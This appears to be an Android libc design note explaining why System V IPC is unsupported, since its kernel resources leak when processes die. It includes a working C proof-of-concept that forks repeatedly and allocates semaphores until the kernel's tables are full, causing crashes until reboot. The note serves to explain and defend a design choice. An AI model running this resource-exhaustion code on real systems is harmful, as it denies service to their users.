1 <html><body><pre>Android does not support System V IPCs, i.e. the facilities provided by the 2 following standard Posix headers: 3 4 <sys/sem.h> /* SysV semaphores */ 5 <sys/shm.h> /* SysV shared memory segments */ 6 <sys/msg.h> /* SysV message queues */ 7 <sys/ipc.h> /* General IPC definitions */ 8 9 The reason for this is due to the fact that, by design, they lead to global 10 kernel resource leakage. 11 12 For example, there is no way to automatically release a SysV semaphore 13 allocated in the kernel when: 14 15 - a buggy or malicious process exits 16 - a non-buggy and non-malicious process crashes or is explicitly killed. 17 18 Killing processes automatically to make room for new ones is an 19 important part of Android's application lifecycle implementation. This means 20 that, even assuming only non-buggy and non-malicious code, it is very likely 21 that over time, the kernel global tables used to implement SysV IPCs will fill 22 up. 23 24 At that point, strange failures are likely to occur and prevent programs that 25 use them to run properly until the next reboot of the system. 26 27 And we can't ignore potential malicious applications. As a proof of concept 28 here is a simple exploit that you can run on a standard Linux box today: 29 30 --------------- cut here ------------------------ 31 #include <sys/sem.h> 32 #include <sys/wait.h> 33 #include <unistd.h> 34 #include <stdio.h> 35 #include <stdlib.h> 36 #include <errno.h> 37 38 #define NUM_SEMAPHORES 32 39 #define MAX_FAILS 10 40 41 int main(void) 42 { 43 int counter = 0; 44 int fails = 0; 45 46 if (counter == IPC_PRIVATE) 47 counter++; 48 49 printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); 50 51 for (;;) { 52 int ret = fork(); 53 int status; 54 55 if (ret < 0) { 56 perror("fork:"); 57 break; 58 } 59 if (ret == 0) { 60 /* in the child */ 61 ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); 62 if (ret < 0) { 63 return errno; 64 } 65 return 0; 66 } 67 else { 68 /* in the parent */ 69 ret = wait(&status); 70 if (ret < 0) { 71 perror("waitpid:"); 72 break; 73 } 74 if (status != 0) { 75 status = WEXITSTATUS(status); 76 fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, 77 counter, status); 78 if (++fails >= MAX_FAILS) 79 break; 80 } 81 } 82 83 counter++; 84 if ((counter % 1000) == 0) { 85 printf("%d\n", counter); 86 } 87 if (counter == IPC_PRIVATE) 88 counter++; 89 } 90 return 0; 91 } 92 --------------- cut here ------------------------ 93 94 If you run it on a typical Linux distribution today, you'll discover that it 95 will quickly fill up the kernel's table of unique key_t values, and that 96 strange things will happen in some parts of the system, but not all. 97 98 (You can use the "ipcs -u" command to get a summary describing the kernel 99 tables and their allocations) 100 101 For example, in our experience, anything program launched after that that 102 calls strerror() will simply crash. The USB sub-system starts spoutting weird 103 errors to the system console, etc... 104 </pre></body></html>